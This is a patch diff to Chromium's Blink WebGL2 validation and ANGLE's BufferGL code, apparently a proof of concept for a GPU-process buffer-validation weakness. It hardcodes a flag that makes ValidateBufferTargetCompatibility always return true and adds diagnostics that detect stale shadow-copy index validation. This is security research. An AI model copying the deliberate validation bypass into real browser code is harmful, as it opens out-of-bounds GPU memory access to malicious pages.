diff --git a/third_party/blink/renderer/modules/webgl/webgl2_rendering_context_base.cc b/third_party/blink/renderer/modules/webgl/webgl2_rendering_context_base.cc index 18aaa25ad71c6..4f5e2f8dad056 100644 --- a/third_party/blink/renderer/modules/webgl/webgl2_rendering_context_base.cc +++ b/third_party/blink/renderer/modules/webgl/webgl2_rendering_context_base.cc @@ -5028,6 +5028,15 @@ bool WebGL2RenderingContextBase::ValidateBufferTargetCompatibility( WebGLBuffer* buffer) { DCHECK(buffer); + // POC: Simulate a compromised renderer. A compromised renderer issues raw + // GLES2 command-buffer traffic and is not bound by Blink-side validation. + // This bypass demonstrates that ANGLE (GPU process) does not independently + // enforce WebGL element-array / other-data buffer segregation. + static volatile bool kPocBypass = true; + if (kPocBypass) { + return true; + } + switch (buffer->GetInitialTarget()) { case GL_ELEMENT_ARRAY_BUFFER: switch (target) { diff --git a/third_party/angle/src/libANGLE/renderer/gl/BufferGL.cpp b/third_party/angle/src/libANGLE/renderer/gl/BufferGL.cpp index 53760da3d4..4c981554a2 100644 --- a/third_party/angle/src/libANGLE/renderer/gl/BufferGL.cpp +++ b/third_party/angle/src/libANGLE/renderer/gl/BufferGL.cpp @@ -12,6 +12,8 @@ #include "libANGLE/renderer/gl/BufferGL.h" +#include + #include "common/debug.h" #include "common/utilities.h" #include "libANGLE/Context.h" @@ -105,6 +107,12 @@ angle::Result BufferGL::setData(const gl::Context *context, if (KeepBufferShadowCopy(context, mState.getWebGLType()) && !mShadowCopy.has_value()) { mShadowCopy = angle::MemoryBuffer(); + fprintf(stderr, + "[POC][BufferGL::setData] shadow copy CREATED for buffer %u " + "(isWebGL=%d bufferAccessValidation=%d webglType=%d size=%zu)\n", + mBufferID, context->isWebGL() ? 1 : 0, + context->isBufferAccessValidationEnabled() ? 1 : 0, + static_cast(mState.getWebGLType()), size); } if (mShadowCopy.has_value()) @@ -316,6 +324,31 @@ angle::Result BufferGL::getIndexRange(const gl::Context *context, { *outRange = gl::ComputeIndexRange(type, mShadowCopy->data() + offset, count, primitiveRestartEnabled); + + // POC DIAGNOSTIC (GPU process): independently map the *real* GPU-side + // buffer and compute the index range over the actual data. If this + // differs from the shadow-computed range, ANGLE's emulated + // robust-buffer-access validation is operating on stale data. + { + stateManager->bindBuffer(DestBufferOperationTarget, mBufferID); + const GLuint typeBytes = gl::GetDrawElementsTypeSize(type); + const uint8_t *gpuData = MapBufferRangeWithFallback( + functions, gl::ToGLenum(DestBufferOperationTarget), offset, + count * typeBytes, GL_MAP_READ_BIT); + if (gpuData) + { + gl::IndexRange realRange = + gl::ComputeIndexRange(type, gpuData, count, primitiveRestartEnabled); + functions->unmapBuffer(gl::ToGLenum(DestBufferOperationTarget)); + fprintf(stderr, + "[POC][BufferGL::getIndexRange] mShadowCopy present. " + "shadow_end=%u gpu_end=%u count=%zu offset=%zu%s\n", + outRange->end(), realRange.end(), count, offset, + (realRange.end() != outRange->end() + ? " <<< STALE SHADOW: validation defeated >>>" + : "")); + } + } } else {